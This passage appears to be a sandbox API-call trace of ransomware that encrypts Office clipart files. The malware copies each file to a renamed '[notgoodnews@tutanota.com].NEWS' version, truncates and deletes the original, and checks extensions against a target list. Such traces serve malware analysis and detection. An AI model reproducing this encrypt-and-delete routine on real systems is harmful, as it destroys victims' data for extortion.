returned 1 [0073.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.915] GetLastError () returned 0x0 [0073.915] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xcb3, lpOverlapped=0x0) returned 1 [0073.917] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xcc0, lpOverlapped=0x0) returned 1 [0073.918] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.918] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.918] SetEndOfFile (hFile=0x384) returned 1 [0073.918] CloseHandle (hObject=0x384) returned 1 [0073.919] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.919] SetEndOfFile (hFile=0x350) returned 1 [0073.920] CloseHandle (hObject=0x350) returned 1 [0073.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0073.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.920] lstrlenW (lpString=".doc") returned 4 [0073.920] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.921] lstrlenW (lpString=".docx") returned 5 [0073.921] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.921] lstrlenW (lpString=".pdf") returned 4 [0073.921] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.921] lstrlenW (lpString=".xls") returned 4 [0073.921] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.921] lstrlenW (lpString=".xlsx") returned 5 [0073.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.921] lstrlenW (lpString=".ppt") returned 4 [0073.921] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.921] lstrlenW (lpString=".zip") returned 4 [0073.921] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.921] lstrlenW (lpString=".rar") returned 4 [0073.921] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.921] lstrlenW (lpString=".bz2") returned 4 [0073.921] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.921] lstrlenW (lpString=".7z") returned 3 [0073.921] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.921] lstrlenW (lpString=".dbf") returned 4 [0073.921] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.921] lstrlenW (lpString=".1cd") returned 4 [0073.921] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.921] lstrlenW (lpString=".jpg") returned 4 [0073.921] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.921] lstrlenW (lpString=".doc") returned 4 [0073.921] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.921] lstrlenW (lpString=".docx") returned 5 [0073.921] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.921] lstrlenW (lpString=".pdf") returned 4 [0073.922] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.922] lstrlenW (lpString=".xls") returned 4 [0073.922] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.922] lstrlenW (lpString=".xlsx") returned 5 [0073.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.922] lstrlenW (lpString=".ppt") returned 4 [0073.922] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.922] lstrlenW (lpString=".zip") returned 4 [0073.922] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.922] lstrlenW (lpString=".rar") returned 4 [0073.922] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.922] lstrlenW (lpString=".bz2") returned 4 [0073.922] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.922] lstrlenW (lpString=".7z") returned 3 [0073.922] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.922] lstrlenW (lpString=".dbf") returned 4 [0073.922] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.922] lstrlenW (lpString=".1cd") returned 4 [0073.922] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0073.922] lstrlenW (lpString=".jpg") returned 4 [0073.922] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.922] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.922] lstrlenW (lpString="AG00040_.GIF") returned 12 [0073.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.923] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8097) returned 1 [0073.923] CloseHandle (hObject=0x350) returned 1 [0073.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0073.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.923] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.923] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.923] GetLastError () returned 0x0 [0073.924] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0073.925] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0073.926] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.926] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.926] SetEndOfFile (hFile=0x384) returned 1 [0073.926] CloseHandle (hObject=0x384) returned 1 [0073.927] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.927] SetEndOfFile (hFile=0x350) returned 1 [0073.928] CloseHandle (hObject=0x350) returned 1 [0073.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0073.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.359] lstrlenW (lpString=".doc") returned 4 [0074.359] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.359] lstrlenW (lpString=".docx") returned 5 [0074.359] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.359] lstrlenW (lpString=".pdf") returned 4 [0074.359] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.359] lstrlenW (lpString=".xls") returned 4 [0074.359] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.359] lstrlenW (lpString=".xlsx") returned 5 [0074.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.359] lstrlenW (lpString=".ppt") returned 4 [0074.359] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.359] lstrlenW (lpString=".zip") returned 4 [0074.359] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.359] lstrlenW (lpString=".rar") returned 4 [0074.360] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString=".bz2") returned 4 [0074.360] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.360] lstrlenW (lpString=".7z") returned 3 [0074.360] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.360] lstrlenW (lpString=".dbf") returned 4 [0074.360] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.360] lstrlenW (lpString=".1cd") returned 4 [0074.360] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.360] lstrlenW (lpString=".jpg") returned 4 [0074.360] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.360] lstrlenW (lpString=".doc") returned 4 [0074.360] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.360] lstrlenW (lpString=".docx") returned 5 [0074.360] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.360] lstrlenW (lpString=".pdf") returned 4 [0074.360] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString=".xls") returned 4 [0074.360] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString=".xlsx") returned 5 [0074.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.360] lstrlenW (lpString=".ppt") returned 4 [0074.360] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.360] lstrlenW (lpString=".zip") returned 4 [0074.360] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString=".rar") returned 4 [0074.360] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.360] lstrlenW (lpString=".bz2") returned 4 [0074.360] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.361] lstrlenW (lpString=".7z") returned 3 [0074.361] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.361] lstrlenW (lpString=".dbf") returned 4 [0074.361] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.361] lstrlenW (lpString=".1cd") returned 4 [0074.361] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0074.361] lstrlenW (lpString=".jpg") returned 4 [0074.361] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.361] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.361] lstrlenW (lpString="AG00130_.GIF") returned 12 [0074.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.362] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5253) returned 1 [0074.362] CloseHandle (hObject=0x31c) returned 1 [0074.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0074.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.362] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.362] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.363] GetLastError () returned 0x0 [0074.363] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1485, lpOverlapped=0x0) returned 1 [0074.364] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1490, lpOverlapped=0x0) returned 1 [0074.365] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.365] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.365] SetEndOfFile (hFile=0x308) returned 1 [0074.365] CloseHandle (hObject=0x308) returned 1 [0074.367] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.367] SetEndOfFile (hFile=0x31c) returned 1 [0074.368] CloseHandle (hObject=0x31c) returned 1 [0074.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0074.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.369] lstrlenW (lpString=".doc") returned 4 [0074.369] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.369] lstrlenW (lpString=".docx") returned 5 [0074.369] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.369] lstrlenW (lpString=".pdf") returned 4 [0074.369] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.369] lstrlenW (lpString=".xls") returned 4 [0074.369] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.369] lstrlenW (lpString=".xlsx") returned 5 [0074.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.369] lstrlenW (lpString=".ppt") returned 4 [0074.369] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.369] lstrlenW (lpString=".zip") returned 4 [0074.369] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.369] lstrlenW (lpString=".rar") returned 4 [0074.369] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.369] lstrlenW (lpString=".bz2") returned 4 [0074.369] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.369] lstrlenW (lpString=".7z") returned 3 [0074.369] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.369] lstrlenW (lpString=".dbf") returned 4 [0074.369] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.369] lstrlenW (lpString=".1cd") returned 4 [0074.369] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString=".jpg") returned 4 [0074.370] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString=".doc") returned 4 [0074.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.370] lstrlenW (lpString=".docx") returned 5 [0074.370] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.370] lstrlenW (lpString=".pdf") returned 4 [0074.370] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.370] lstrlenW (lpString=".xls") returned 4 [0074.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.370] lstrlenW (lpString=".xlsx") returned 5 [0074.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.370] lstrlenW (lpString=".ppt") returned 4 [0074.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString=".zip") returned 4 [0074.370] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.370] lstrlenW (lpString=".rar") returned 4 [0074.370] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.370] lstrlenW (lpString=".bz2") returned 4 [0074.370] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.370] lstrlenW (lpString=".7z") returned 3 [0074.370] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString=".dbf") returned 4 [0074.370] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString=".1cd") returned 4 [0074.370] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0074.370] lstrlenW (lpString=".jpg") returned 4 [0074.370] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.371] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.371] lstrlenW (lpString="AG00135_.GIF") returned 12 [0074.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.371] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2596) returned 1 [0074.371] CloseHandle (hObject=0x31c) returned 1 [0074.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0074.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.372] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.372] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, 